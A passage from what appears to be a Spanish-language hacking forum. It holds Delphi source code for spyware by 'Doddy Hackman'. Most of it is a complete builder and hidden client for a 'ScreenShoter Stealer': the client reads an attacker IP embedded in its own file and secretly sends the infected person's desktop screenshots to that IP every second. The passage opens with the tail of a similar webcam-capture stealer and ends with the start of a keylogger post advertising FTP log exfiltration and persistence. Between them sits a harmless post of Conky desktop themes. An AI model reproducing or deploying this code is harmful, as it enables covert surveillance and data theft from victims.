        DeleteFile(filename);

        webcam := capCreateCaptureWindowA
          ('Unknown_888', WS_CHILD OR WS_VISIBLE, Image1.Left, Image1.Top,
          Image1.Width, Image1.Height, Form1.Handle, 0);

        if not(webcam = 0) then
        begin

          SendMessage(webcam, conec, 0, 0);
          SendMessage(webcam, conec2, 40, 0);
          SendMessage(webcam, conec3, 1, 0);
          SendMessage(webcam, conec4, 0, longint(PCHAR('1.bmp')));
          SendMessage(webcam, chau, 0, 0);
          webcam := 0;

          RenameFile('1', '1.bmp');

          imagen1 := TBitmap.Create;
          imagen1.LoadFromFile('1.bmp');

          imagen2 := TJpegImage.Create;
          imagen2.Assign(imagen1);
          imagen2.CompressionQuality := 100;
          imagen2.SaveToFile(filename);

          DeleteFile('1');
          DeleteFile('1.bmp');

        end;

        imagen1.Free;
        imagen2.Free;

      end;
    except
      //
    end;

  end;

  function regex(text: String; deaca: String; hastaaca: String): String;
  begin
    Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
    SetLength(text, AnsiPos(hastaaca, text) - 1);
    Result := text;
  end;

  function dhencode(texto, opcion: string): string;
  // Thanks to Taqyon
  // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  var
    num: integer;
    aca: string;
    cantidad: integer;

  begin

    num := 0;
    Result := '';
    aca := '';
    cantidad := 0;

    if (opcion = 'encode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad do
      begin
        aca := IntToHex(ord(texto[num]), 2);
        Result := Result + aca;
      end;
    end;

    if (opcion = 'decode') then
    begin
      cantidad := Length(texto);
      for num := 1 to cantidad div 2 do
      begin
        aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
        Result := Result + aca;
      end;
    end;

  end;

  procedure TForm1.FormCreate(Sender: TObject);

  var
    ob: THandle;
    code: Array [0 .. 9999 + 1] of Char;
    nose: DWORD;
    todo: string;

  begin

    Application.ShowMainForm := False;

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(PCHAR(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    target := regex(todo, '[ip]', '[ip]');

    try
      begin
        ClientSocket1.Address := target;
        ClientSocket1.Open;
      end;
    except
      //
    end;

  end;

  procedure TForm1.Timer1Timer(Sender: TObject);
  var
    archivo: string;
    envio: TFileStream;
    dir: string;

  begin

    try
      begin

        if ClientSocket1.Active = True then

        begin
          dir := GetEnvironmentVariable('USERPROFILE') + '\';

          chdir(dir);

          if (FileExists('screen.jpg')) then
          begin
            DeleteFile('screen.jpg');
          end;

          capturar_webcam('screen.jpg');

          archivo := dir + 'screen.jpg';

          try
            begin
              ClientSocket1.Socket.SendText
                ('0x3archivo' + ExtractFileName(archivo));
              envio := TFileStream.Create(archivo, fmopenread);

              sleep(500);

              ClientSocket1.Socket.SendText
                ('0x3acantid' + IntToStr(envio.Size));

              envio.Free;

              ClientSocket2.Address := target;
              ClientSocket2.Open;

              ClientSocket2.Socket.SendStream
                (TFileStream.Create(archivo, fmopenread));
            end;
          except
            //
          end;
        end;
      end;
    except
      //
    end;

  end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#153
GNU/Linux / Tres themes para Conky Colors
Noviembre 26, 2013, 07:46:08 PM
Hace poco que me mude a Ubuntu y me baje el conky colors , el problema es que ninguno de todos los themes que busque en internet me gustaban asi que basado en un codigo que encontre en la pagina ubuntu-es hice estos tres themes para conky colors.

Theme Matrix.



Código: text

# Matrix Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FF00}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FF00}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme Tron.



Código: text

# Tron Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Date : ${time %a, }${time %e %B %G}$color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Time : ${time %H:%M:%S}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $kernel $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $uptime $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $processes ($running_processes running) $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $loadavg $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $mem / $memmax ($memperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $swap / $swapmax ($swapperc%) $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Home: ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Download ${downspeed eth0} k/s ${alignr}Upload ${upspeed eth0} k/s $color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 00FFFF}${font estiloletra:style=Bold:pixelsize=10}Total ${totaldown eth0} ${alignr}Total ${totalup eth0} $color $font


${color 00FFFF}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


Theme DarkCity.



Código: text

# DarkCity Theme for Conky Colors
# Based on http://www.ubuntu-es.org/node/103184
# Edited by Doddy H

background yes
font estiloletra:size=7
xftfont estiloletra:size=7
use_xft yes
xftalpha 0.1
update_interval 1.0
own_window yes
own_window_type override
own_window_transparent yes
double_buffer yes
alignment top_right
minimum_size 220 5
maximum_width 220
gap_x 25
gap_y 40

TEXT

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == DateTime == --$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Date : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %a, }${time %e %B %G} $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Time : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${time %H:%M:%S}$color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == System == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Kernel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $kernel $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Uptime : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $uptime $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Process : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $processes ($running_processes running) $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Avarage Load : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $loadavg $color $font
${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] Chip Intel : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${freq}MHz / ${acpitemp}C ${alignr}(${cpu cpu0}%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpubar 4 cpu1} $color $font
${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${cpugraph} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] RAM : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $mem / $memmax ($memperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${membar 4} $color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}[+] SWAP : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} $swap / $swapmax ($swapperc%) $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${swapbar 4} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == CPU Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top name 1}$alignr${top cpu 1}${top mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 2}$alignr${top cpu 2}${top mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top name 3}$alignr${top cpu 3}${top mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == MEM Usage == --${font estiloletra:size=7}$color $font

${color FF0000}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 1}$alignr${top_mem cpu 1}${top_mem mem 1} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 2}$alignr${top_mem cpu 2}${top_mem mem 2} $color $font
${color 949494}${font estiloletra:style=Bold:pixelsize=10}${top_mem name 3}$alignr${top_mem cpu 3}${top_mem mem 3} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Free Space == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Home: $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${alignr}${fs_free /home} / ${fs_size /home} $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${fs_bar 4 /} $color $font

${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == Network == --${font estiloletra:size=7}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Download : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${downspeed eth0} k/s ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Upload : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${upspeed eth0} k/s $color $font

${color DAA520}${font estiloletra:style=Bold:pixelsize=10}${downspeedgraph eth0 25,107 }${upspeedgraph eth0 25,107}$color $font

${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totaldown eth0} ${alignr}${color 984B00}${font estiloletra:style=Bold:pixelsize=10}Total : $color $font ${color 949494}${font estiloletra:style=Bold:pixelsize=10} ${totalup eth0} $color $font


${color 3A1D10}${font estiloletra:style=Bold:pixelsize=12}$alignc}-- == The End ? == --${font estiloletra:size=7}$color $font

# The End ?


No son la gran cosa pero el que me gusta usar es el de matrix.
#154
Delphi / [Delphi] DH ScreenShoter Stealer 0.2
Noviembre 25, 2013, 11:34:17 AM
Un simple programa para capturar el escritorio cada 1 segundo de la persona a la que infectes con este programa.

Una imagen.



Los codigos.

El generador.

Código: delphi

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit screen;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, ScktComp, Jpeg, sSkinManager, ComCtrls,
  sPageControl, sStatusBar, sGroupBox, sButton, sRadioButton, acPNG, sLabel,
  sEdit;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    ServerSocket2: TServerSocket;
    Timer1: TTimer;
    Timer2: TTimer;
    sSkinManager1: TsSkinManager;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sStatusBar1: TsStatusBar;
    sGroupBox1: TsGroupBox;
    Image1: TImage;
    sGroupBox2: TsGroupBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sRadioButton1: TsRadioButton;
    sRadioButton2: TsRadioButton;
    sGroupBox5: TsGroupBox;
    sButton1: TsButton;
    Image2: TImage;
    sLabel1: TsLabel;
    sGroupBox6: TsGroupBox;
    sEdit1: TsEdit;
    sButton2: TsButton;
    sGroupBox7: TsGroupBox;
    sButton3: TsButton;
    Image3: TImage;

    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket2ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
    conexion: TFileStream;
    control: integer;

  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  cantidad: string;

implementation

uses fullscreen;
{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure achicar(archivo, medir1, medir2: string);

// Credits  :
// Based on : http://www.delphidabbler.com/tips/99
// Thanks to www.delphidabbler.com

var
  bit3: Double;
  bit2: TJpegImage;
  bit1: TBitmap;

begin

  try
    begin

      bit2 := TJpegImage.Create;

      bit2.Loadfromfile(archivo);

      if bit2.Height > bit2.Width then
      begin
        bit3 := StrToInt(medir1) / bit2.Height
      end
      else
      begin
        bit3 := StrToInt(medir2) / bit2.Width;
      end;

      bit1 := TBitmap.Create;

      bit1.Width := Round(bit2.Width * bit3);
      bit1.Height := Round(bit2.Height * bit3);
      bit1.Canvas.StretchDraw(bit1.Canvas.Cliprect, bit2);

      bit2.Assign(bit1);

      bit2.SaveToFile(archivo);

    end;
  except
    //
  end;

end;
//

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Open;

      sStatusBar1.Panels[0].Text := '[+] Online';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  try
    begin
      ServerSocket1.Close;
      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form1.sStatusBar1.Update;
    end;
  except
    begin
      sStatusBar1.Panels[0].Text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;
  end;
end;

procedure TForm1.sButton3Click(Sender: TObject);
var
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;
  lineafinal: string;
  linea: string;
begin

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'stealer_ready.exe';

  linea := '[ip]' + sEdit1.Text + '[ip]';
  lineafinal := '[63686175]' + dhencode(linea, 'encode') + '[63686175]';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName)
        + '/' + 'Data/servernow.exe'), PChar
      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar('stealer_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ,
    nil, OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  contenido: string;

begin

  contenido := Socket.ReceiveText;

  if (Pos('0x3archivo', contenido) > 0) then
  begin
    conexion := TFileStream.Create(Copy(contenido, 11, length(contenido)),
      fmCREATE or fmOPENWRITE and fmsharedenywrite);

    ServerSocket2.Open;

  end
  else
  begin
    if (Pos('0x3acantid', contenido) > 0) then
    begin
      cantidad := Copy(contenido, 11, length(contenido));
    end;
  end;
end;

procedure TForm1.ServerSocket2ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
  data: array [0 .. 9999] of Char;
  otracantidad: integer;

begin

  Timer1.Enabled := True;

  while Socket.ReceiveLength > 0 do

  begin

    otracantidad := Socket.ReceiveBuf(data, Sizeof(data));

    if otracantidad <= 0 then
    begin
      Break;
    end
    else
    begin
      conexion.Write(data, otracantidad);
    end;

    if conexion.Size >= StrToInt(cantidad) then

    begin

      conexion.Free;

      Timer1.Enabled := False;

      control := 0;

      Break;

    end;
  end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  control := 1;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin

  try
    begin
      if ServerSocket1.Active = True then
      begin
        if FileExists('screen.jpg') then
        begin

          if (sRadioButton1.Checked) then
          begin
            achicar('screen.jpg', '400', '400');
            Image1.Picture.Loadfromfile('screen.jpg');
          end
          else
          begin
            Form2.Show;
            achicar('screen.jpg', '1000', '1000');
            Form2.Image1.Picture.Loadfromfile('screen.jpg');
          end;
        end;
      end;
    end;
  except
    //
  end;
end;

end.

// The End ?


El servidor.

Código: delphi

// DH ScreenShoter Stealer 0.2
// (C) Doddy Hackman 2013
// Credits :
// Socket Server & Socket Client based in : http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=783&lngWId=7
// Thanks to Cold Fuzion

unit server;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, ExtCtrls, Jpeg;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    ClientSocket2: TClientSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  target: string;

implementation

{$R *.dfm}
// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure capturar(nombre: string);
var
  imagen2: TJpegImage;
  imagen1: TBitmap;
  aca: HDC;

begin

  aca := GetWindowDC(GetDesktopWindow);

  imagen1 := TBitmap.Create;
  imagen1.PixelFormat := pf24bit;
  imagen1.Height := Screen.Height;
  imagen1.Width := Screen.Width;

  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
    SRCCOPY);

  imagen2 := TJpegImage.Create;
  imagen2.Assign(imagen1);
  imagen2.CompressionQuality := 60;
  imagen2.SaveToFile(nombre);

end;


//

procedure TForm1.FormCreate(Sender: TObject);

var
  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

begin

  Application.ShowMainForm := False;

  ob := INVALID_HANDLE_VALUE;
  code := '';

  ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (ob <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(ob, -9999, nil, FILE_END);
    ReadFile(ob, code, 9999, nose, nil);
    CloseHandle(ob);
  end;

  todo := regex(code, '[63686175]', '[63686175]');
  todo := dhencode(todo, 'decode');

  target := regex(todo, '[ip]', '[ip]');

  try
    begin
      ClientSocket1.Address := target;
      ClientSocket1.Open;
    end;
  except
    //
  end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  archivo: string;
  envio: TFileStream;
  dir: string;

begin

  try
    begin

      if ClientSocket1.Active = True then

      begin
        dir := GetEnvironmentVariable('USERPROFILE') + '\';

        chdir(dir);

        if (FileExists('screen.jpg')) then
        begin
          DeleteFile('screen.jpg');
        end;

        capturar('screen.jpg');

        archivo := dir + 'screen.jpg';

        try
          begin
            ClientSocket1.Socket.SendText
              ('0x3archivo' + ExtractFileName(archivo));
            envio := TFileStream.Create(archivo, fmopenread);

            sleep(500);

            ClientSocket1.Socket.SendText('0x3acantid' + IntToStr(envio.Size));

            envio.Free;

            ClientSocket2.Address := target;
            ClientSocket2.Open;

            ClientSocket2.Socket.SendStream
              (TFileStream.Create(archivo, fmopenread));
          end;
        except
          //
        end;
      end;
    end;
  except
    //
  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#155
Delphi / [Delphi] DH KeyCagator 0.7
Noviembre 22, 2013, 10:56:06 AM
Al fin logre terminar esta version del DH KeyCagator.

El keylogger tiene las siguientes funciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

    Una imagen :



    Los dos codigos :

    El generador.

    Código: delphi

    // DH KeyCagator 0.7
    // (C) Doddy Hackman 2013
    // Keylogger Generator
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to Chokstyle

    unit genkey;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, acPNG, ExtCtrls, StdCtrls, sGroupBox, sEdit, sCheckBox,
      sRadioButton, sComboBox, ComCtrls, sStatusBar, sLabel, sButton, sPageControl,
      jpeg, madRes, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
      IdExplicitTLSClientServerBase, IdFTP, ShellApi;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sStatusBar1: TsStatusBar;
        sGroupBox8: TsGroupBox;
        sButton1: TsButton;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sRadioButton1: TsRadioButton;
        sRadioButton2: TsRadioButton;
